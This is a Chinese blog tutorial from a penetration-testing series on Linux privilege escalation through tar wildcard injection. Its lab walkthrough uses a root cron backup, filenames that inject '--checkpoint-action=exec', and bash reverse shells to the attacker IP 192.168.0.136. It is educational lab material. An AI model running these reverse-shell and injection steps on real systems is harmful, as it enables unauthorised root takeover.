[权限提升] Linux 提权 维持 — 系统错误配置提权 - 通配符(ws)注入提权
关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:通配符(ws)注入提权原理
通配符注入提权的核心是利用通配符的扩展特性,在命令执行时生成意外的参数或文件名,从而改变命令的行为。这种技术通常用于以下场景:
-
命令注入: 通过构造特殊的文件名或参数,使命令执行额外的操作。
-
权限绕过: 如果一个程序以高权限(如
root)运行,并使用了通配符,攻击者就可以通过构造特殊的文件名来注入命令,从而获得高权限。
0x0101:基础知识 — 通配符的基本概念
在 Unix/Linux 系统中,通配符可以被用来进行模糊匹配,常见的通配符包括如下三种:
-
*=> 匹配任意数量的字符(包括空字符) -
?=> 匹配单个字符 -
[]=> 匹配括号中的任意单一字符,可以使用连字符-表示范围,比如[0-9]
下面笔者以几个例子讲解一下通配符的常见用法,首先输入下面的命令,创建几个示例文件:
touch 1.txt 2.txt 12.txt a.txt b.txt ab.txt abc.txt

0x0102:概念引入 — 统配符(ws)注入
我们知道,在 Linux 中,通过 --help 可以查看一个命令的用法,比如:
cat --help

那么现在,我们在当前目录下使用命令创建 file1、file2 与 --help 文件:
echo "1" > file1echo "2" > file2echo "3" > --help

我们知道,cat file1 肯定会显示 file1 文件中的内容也就是 1,cat file2 肯定会显示 file2 文件中的内容,即 2,那么 cat --help 会显示啥呢?会显示 3 还是 cat 的帮助命令:

如上,--help 文件中的命令是无法被使用命令直接读取的。再进一步,如果我们运行 cat * 会发生什么呢:

如上,当我们运行 cat *,可以发现,它还是显示了 cat 的帮助信息,而没有显示 --help 文件中的内容,这种技巧就被称为 Wildcard wildness,即 ”通配符(ws)命令注入“。
0x02:通配符(ws)注入提权姿势
通配符(ws)注入的利用,限制的有些严格。因为触发该漏洞的原因实际是因为命令使用通配符时错误的把文件名当作参数来执行了,结果导致注入从而提权。
通配符(ws)注入的利用可以结合前面介绍的 SUID、Sudo、定时任务、环境变量劫持提权,总之,如果你看到一个以高权限运行的任务中包含 * 号,你就可以考虑这种利用姿势。
0x0201:tar — ws 注入提权姿势
1. tar — ws 注入理论基础
tar 命令是 Linux 中的压缩命令,可以对文件进行压缩,以下是它的基本用法:
tar -czf html.tgz 1.html # 将文件 1.html 压缩成 html.tgz
它也可以利用通配符一次性压缩多个文件:
tar -czf html.tgz *.html # 将文件夹中的所有 HTML 文件压缩成 html.tgz
我们知道的,tar 命令是可以执行 Linux 系统命令的,格式如下:
tar -czf html.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami

2. tar — ws 注入实操流程
那么劫持方法就很简单了,在运行 tar 命令的目录下面,创建一个 shell.sh 内容如下(一个 Bash 反弹链接的代码),并赋予其可执行权限:
bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

然后使用下面的命令创建针对 tar 命令的注入文件:
拓展:Unix/Linux
--(双连字符)作用解析在 Unix/Linux 系统中,
--是一个特殊的符号,用于表示命令行选线的结束。它的作用是告诉命令解析器:后面的内容不是选项,即使它们以-开头。
# touch -- 中的 --(双连字符)用于表示命令行选项的结束,touch -- '--checkpoint=1'touch -- '--checkpoint-action=exec=sh shell.sh'

你在攻击机上做好监听后,在靶机中输入下面的内容,一个很正常的压缩命令(* 前面有其他字符时似乎是无法利用的):
tar -czf html.tgz *

如上,成功使用 ws 注入拿到靶机的 Shell,倘若这个压缩是一个 Root 用户的定时任务的话,我们就可以利用该特性直接进行提权。
0x03:通配符(ws)注入提权场景代入
直接使用通配符(ws)注入提权不太可能,管理员看到你目录下有这个文件,多少都会起疑心。所以 ws 注入提权多与前面讲解的几种提权方式搭配使用,作用一种思路的拓展。
0x0301:通配符注入 + 定时任务提权
一般管理员都有备份网站的习惯,部分管理员会直接使用定时任务进行备份,如果管理员在进行备份时滥用了通配符,就可能会被导致提权。
1. 通配符注入 + 定时任务提权 — 环境搭建
复现环境
靶机 CentOS 7:IP 192.168.0.137
攻击机 Kali Linux:IP 192.168.0.136
首先创建一个 /www/html 目录,并授予这两个目录 777 权限(让普通用户也可以读取写入),然后在该目录下通过 touch 1.html 命令创建一个 html 文件:

然后在 /www/html 文件夹中创建一个 backup.sh 文件,文件内容如下:
#!/bin/bash
tar -czf /tmp/html.tgz *
上面这个脚本会将当前目录下所有文件打包到 /tmp/html.tgz 中,然后使用下面这个命令赋予其执行权限:
chmod 744 /www/html/backup.sh
然后以 root 身份往 /etc/crontab 中写入如下定时任务:
*/1 * * * * root /www/html/backup.sh

然后我们等待一分钟,查看 /tmp 目录下,如果出现了 html.tgz 文件则证明环境搭建完成:

2. 通配符注入 + 定时任务提权 — 漏洞复现
2.1 拿到靶机低权限用户 Shell
提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:
nc -lvp 7777
然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:
bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

此时回到 Kali 攻击机,可以看到靶机直接上线:

2.2 发现不安全的计划任务
查看系统计划任务,发现一个以 Root 身份运行的 backup.sh 任务:
cat /etc/crontab

我们尝试查看一下这个计划任务的内容:
ls -al /www/html/backup.sh # 查看文件权限
cat /www/html/backup.sh # 查看文件内容

如上,对于 /www/html/backup.sh 文件,我们只有读权限,没有编辑权限。查看文件内容,发现其存在通配符滥用的情况,有被利用的可能性。
2.3 创建通配符注入文件
由于是 tar 命令定时任务,所以我们对应的 WS 注入文件如下:
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
backup.sh 文件中会定期备份 /www/html 文件夹中的内容,所以我们需要将 WS 注入文件写到 /www/html 目录下(写在子路径也是无法利用成功的),我们执行注入还需要一个 shell.sh 文件,所以我们还得创建它。依次输入下面几条命令,完成这些操作:
# 1. 创建反弹链接文件
echo "bash -i >&/dev/tcp/192.168.0.136/8888 0>&1" > /www/html/shell.sh
# 2. 为 shell.sh 文件赋予执行权限
chmod 777 /www/html/shell.sh
# 3. 创建 tar 命令对应的注入文件
touch -- /www/html/'--checkpoint=1'
touch -- /www/html/'--checkpoint-action=exec=sh shell.sh'

然后在攻击机中新开一个窗口,使用 nc -lvp 8888 命令监听 8888 端口,等待靶机定时任务执行后上线。
2.4 复现失败
很遗憾,等待许久,靶机并没有以 Root 权限上线,虽然复现失败了,但笔者这里依旧写出来是因为发现了一个有趣的事情。看看 /var/log/cron 内容:

如上,使用计划任务运行 /www/html/backup.sh,就不能反弹 Shell,但是我直接运行 /www/html/backup.sh 就能反弹。笔者还特意退出了 root 用户身份,生怕是我抢了它的权限,但是很遗憾,一分钟过去了,依旧未能拿到 Shell。
通配符注入 + 计划任务拿高权限 Shell 是失败了,但是笔者还有一计。如果我赋予 /backup.sh 文件 SUID 权限呢(这个应该没问题,读者可以试验一下) 。。。。
相关文章:
[权限提升] Linux 提权 维持 — 系统错误配置提权 - 通配符(ws)注入提权
关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客 0x01:通配符(ws)注入提权原理 通配符注入提权的核心是利用通配符的扩展特性,在命令执行时生成意外的参数或文件名,从而改变命令的行…...
C++,STL容器 set/multiset:集合/多重集合深入解析
文章目录 一、容器概览二、核心特性对比三、基础操作详解四、关键成员函数解析五、底层实现探秘六、性能优化实践七、典型应用场景数据去重统计实时排行榜维护区间查询系统八、注意事项与陷阱元素不可变性自定义类型的比较函数迭代器失效问题进阶技巧:结合STL算法十、总结与选…...
Neo4j图数据库学习(二)——SpringBoot整合Neo4j
一. 前言 本文介绍如何通过SpringBoot整合Neo4j的方式,对图数据库进行简单的操作。 Neo4j和SpringBoot的知识不再赘述。关于Neo4j的基础知识,有兴趣可以看看作者上一篇的文章:Neo4j图数据库学习(一)——初识CQL 二. 前置准备 新建SpringBo…...
整合 Redis 分布式锁:从数据结构到缓存问题解决方案
引言 在现代分布式系统中,Redis 作为高性能的键值存储系统,广泛应用于缓存、消息队列、实时计数器等多种场景。然而,在高并发和分布式环境下,如何有效地管理和控制资源访问成为一个关键问题。Redis 分布式锁正是为了解决这一问题…...
使用AI Agents集成外部API开发智能客服解决方案(上)
生成式AI的出现已经彻底改变了传统客服,为开发者和企业提供了更快速、更准确、更个性化的响应能力。其中由大语言模型(LLM)驱动的AI代理能够分析复杂的客户咨询,访问多个数据源,并提供相关的详细答案。在本文中&#x…...
2025手机电池技术革新,
具有AlN势垒和AlGaN背势垒的硅基GaN HEMT在电池兼容电压下提供突破性的输出功率 新加坡的一个工程师团队声称,他们通过研究低压硅基GaN HEMT的双异质结构设计的潜力,开辟了新的天地。 这些研究人员认为,这类晶体管是5G频率范围2频段功率 具…...
现在中国三大运营商各自使用的哪些band频段
现在中国三大运营商4G和5G频段分配情况: 中国移动 4G频段: TD-LTE: Band 39:1880-1920MHz,实际使用1885-1915MHz。 Band 40:2300-2400MHz,实际使用2320-2370MHz。 Band 41:2515-26…...
Linux系统-centos防火墙firewalld详解
Linux系统-centos7.6 防火墙firewalld详解 1 firewalld了解 CentOS 7.6默认的防火墙管理工具是firewalld,它取代了之前的iptables防火墙。firewalld属于典型的包过滤防火墙或称之为网络层防火墙,与iptables一样,都是用来管理防火墙的工具&a…...
Java Stream API:高效数据处理的利器引言
Java Stream API:高效数据处理的利器引言 在 Java 编程中,数据处理是一项极为常见且关键的任务。传统的 for 循环在处理数据集合时,往往会导致代码变得冗长、复杂,这不仅增加了代码的编写难度,还降低了代码的可读性和…...
RK3568实战项目(六)--开发工具介绍
目录 一、引言 二、开发工具 ------>2.1、trust_merger ------>2.2、boot_merger ------>2.3、loaderimage ------>2.4、resource_tool ------>2.5、mkimage ------>2.6、mkbootimg ------>2.7、unpack_bootimg ------>2.8、repack-bootimg …...
Unity3D仿星露谷物语开发28之切换场景
1、目标 Player可以在Scene1_Farm和Scene2_Field之间自动切换。通过Trigger实现该功能。同时创建一个预设体绑定该功能,这样可以把预设体放到任何场景中,通过配置即可实现Player在Scene之间的自由切换。 2、创建场景切换的工具对象 在Hierarchy中&…...
阿里通义实验室提出AnyStory:开启个性化文本到图像生成的新篇章!
在这个数字化时代,生成式AI技术正以前所未有的速度改变着我们的创作方式。近期,阿里通义实验室发表了一篇题为《AnyStory: Towards Unified Single and Multi-Subject Personalization in Text-to-Image Generation》的论文,该论文提出了一种…...
开启蓝耘之旅:DeepSeek R1 模型在智算平台的起步教程
----------------------------------------------------------我的个人主页-------------------- 动动你的手指----------------------------------------点赞👍 收藏❤--------------------------------------------------------------- 引言 在深度学习的广袤领…...
LVS + KeepAlived 配置HA集群的步骤
LVS KeepAlived 配置HA集群的步骤 (一)集群准备 准备vmvare linux虚拟主机4台,假设对外提供的VIP是192.168.174.110 主机IP备注LVS1192.168.174.101提供4层代理-主机LVS2192.168.174.102提供4层代理-备用Apache1192.168.174.201真实服务器…...
ISAAC Sim 1.1. Isaac Sim 4.2.0 环境配置
我使用的系统是ubuntu20.04,根据推荐使用Binary installation 1.下载和安装 1.1. Isaac Sim 参照Installation using Isaac Sim Binaries — Isaac Lab Documentation完成ISAAC SIM安装。 1.2. Isaac Lab “Isaac Lab 提供您需要的工具,以便您根据项…...
活动预告 | Power Hour: Copilot 引领商业应用的未来
课程介绍 智能化时代,商业应用如何实现突破?微软全球副总裁 Charles Lamanna 将为您深度解析,剖析其中关键因素。 在本次线上研讨会中,Charles Lamanna 将分享他在增强商业运营方面的独到见解与实战策略,深度解读商业…...
Gemini 2.0模型更新:谷歌最新AI大模型全面开启智能时代
引言 2025年2月5日,谷歌人工智能实验室(Google DeepMind)发布了最新的Gemini 2.0模型系列更新,包括2.0 Flash、Flash-Lite和Pro实验版本。这些AI大模型的发布标志着人工智能技术在性能、效率和多模态能力上的进一步突破ÿ…...
前端布局与交互实现技巧
前端布局与交互实现技巧 1. 保持盒子在中间位置 在网页设计中,经常需要将某个元素居中显示。以下是一种常见的实现方式: HTML 结构 <!doctype html> <html lang"en"> <head><meta charset"UTF-8"><m…...
乘 DeepSeek 之风,破工作传统之浪,驶向智能高效新航道⭐
引言:当工作场景遭遇认知革命 在数字化转型的浪潮中,人工智能正以指数级速度重塑职场生态。DeepSeek作为国内领先的认知智能平台,其技术突破已超越简单的信息检索工具,正在演变为职场人的"第二大脑"。本文将系统解构De…...
Java | RESTful 接口规范
关注:CodingTechWork 引言 作为一名程序员,制定清晰、一致且高效的 RESTful 接口规范对于团队的开发效率和项目的长期维护至关重要。本文将详细介绍 RESTful 接口的设计理念、请求方法分类、核心规范,以及正确和错误的示例,帮助团…...
ASN.1 格式与Java类转换
ASN.1(Abstract Syntax Notation One)是一种用于描述数据结构的标准,常用于网络协议和数据编码。要将ASN.1格式的数据与Java类进行转换,通常需要使用ASN.1编译器或库来生成Java类,并使用这些类来编码和解码ASN.1数据。…...
从零开始掌握Python人工智能:实战案例、学习路径与职业建议
想必大家最近也都关注了实时,最近AI及deep seek可谓是火遍全球啊!小米总裁还说:大学生应该赶紧学会使用人工智能,你越早学会,你就比其他人更有优势。我也这样的感觉,deep seek现在可以和很多软件运用,完成绝…...
Oracle 变更redo log文件位置
更改Oracle数据库的Redo log文件位置,可以按照以下步骤操作。 1.查询当前Redo log文件信息 select * from v$log; select * from v$logfile;通过查询结果可知Redo log文件放在/oradata/redofile 目录下。 2.拷贝redo log文件到新的位置/Data/redolog $cd /orada…...
C++ 中信号转异常机制:在磁盘 I/O 内存映射场景下的应用与解析
C 中信号转异常机制:在磁盘 I/O 内存映射场景下的应用与解析 在现代 C 开发中,处理底层系统信号与高层 C 异常之间的转换是一项极具挑战性但又至关重要的任务。尤其是在涉及磁盘 I/O 操作且使用内存映射文件时,这种转换显得尤为关键。本文将围…...
Compose笔记(四)--derivedStateOf
这一节了解一下derivedStateOf,它用于创建一个派生状态。派生状态是一种特殊的状态,它的值是根据其他状态计算得出的。当依赖的状态发生变化时,派生状态会自动重新计算。使用 derivedStateOf 的主要目的是优化重组,避免不必要的重组ÿ…...
Chirpy3D:用于创意 3D 鸟类生成的连续部分潜在特征
Chirpy3D框架可以将细粒度的2D图像理解提升至3D生成的全新境界。当前的3D生成方法往往只关注于重构简单的对象,缺乏细致的特征和创造性。Chirpy3D通过结合多视角扩散模型和连续的部件潜在空间,能够生成全新且合理的3D鸟类模型。该系统不仅能够保持细致的…...
viem库
viem是一个用于和以太坊进行交互的javascript库,它提供了简单的API进行智能合约的读取和写入操作,你可以使用它来与区块链上智能合约进行交互,查询链上数据等。 基本功能 1,创建公有客户端 createPublicClient 可以创建一个链接…...
【每日一题 | 2025】2.3 ~ 2.9
个人主页:GUIQU. 归属专栏:每日一题 文章目录 1. 【2.3】P8784 [蓝桥杯 2022 省 B] 积木画2. 【2.4】P8656 [蓝桥杯 2017 国 B] 对局匹配3. 【2.5】[ABC365D] AtCoder Janken 34. 【2.6】P8703 [蓝桥杯 2019 国 B] 最优包含5. 【2.7】P8624 [蓝桥杯 2015…...
整数拆分cpp
题目如下 思路:根据数论知识,要使乘积最大化,将该数拆分成3和2即可,一直对该数进行减三操作,直到该数小于等于4即可 代码如下 谢谢观看...
DeepSeek之Api的使用(将DeepSeek的api集成到程序中)
一、DeepSeek API 的收费模式 前言:使用DeepSeek的api是收费的 免费版: 可能提供有限的免费额度(如每月一定次数的 API 调用),适合个人开发者或小规模项目。 付费版: 超出免费额度后,可能需要按…...
